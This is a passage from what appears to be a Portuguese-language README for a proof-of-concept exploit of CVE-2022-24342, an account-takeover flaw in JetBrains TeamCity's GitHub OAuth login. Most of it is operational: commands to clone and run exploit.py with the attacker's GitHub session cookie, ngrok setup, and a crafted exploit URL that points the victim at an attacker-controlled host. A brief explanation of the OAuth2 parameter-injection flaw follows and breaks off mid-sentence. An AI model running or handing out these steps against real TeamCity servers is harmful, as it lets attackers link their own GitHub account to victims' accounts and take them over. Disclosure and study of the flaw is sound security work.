
PoC para CVE-2022-24342: account takeover via CSRF na autenticação do GitHub
JetBrains TeamCity - tomada de conta via CSRF na autenticação do GitHub (PoC)
Tente fazer login com a conta GitHub do atacante na instância alvo do TeamCity para autorizar o aplicativo GitHub do TeamCity.
Instale e execute:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help mostra esta mensagem de ajuda e sai
-s S sessão do usuário do GitHub
-p P porta do Uvicorn
$ python3 exploit.py -s {attackers_github_session_cookie}
Se você executar o exploit na máquina local, talvez precise usar Ngrok ou alternativas.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
DEMO:
O TeamCity era vulnerável a injeção de parâmetros de consulta durante o fluxo OAuth2, permitindo que um atacante redirecionasse o usuário para um aplicativo OAuth2 arbitrário do GitHub, interceptasse um parâmetro de estado válido e conectasse uma conta GitHub arbitrária à conta TeamCity da vítima.
Isso foi possível devido aos seguintes fatores:

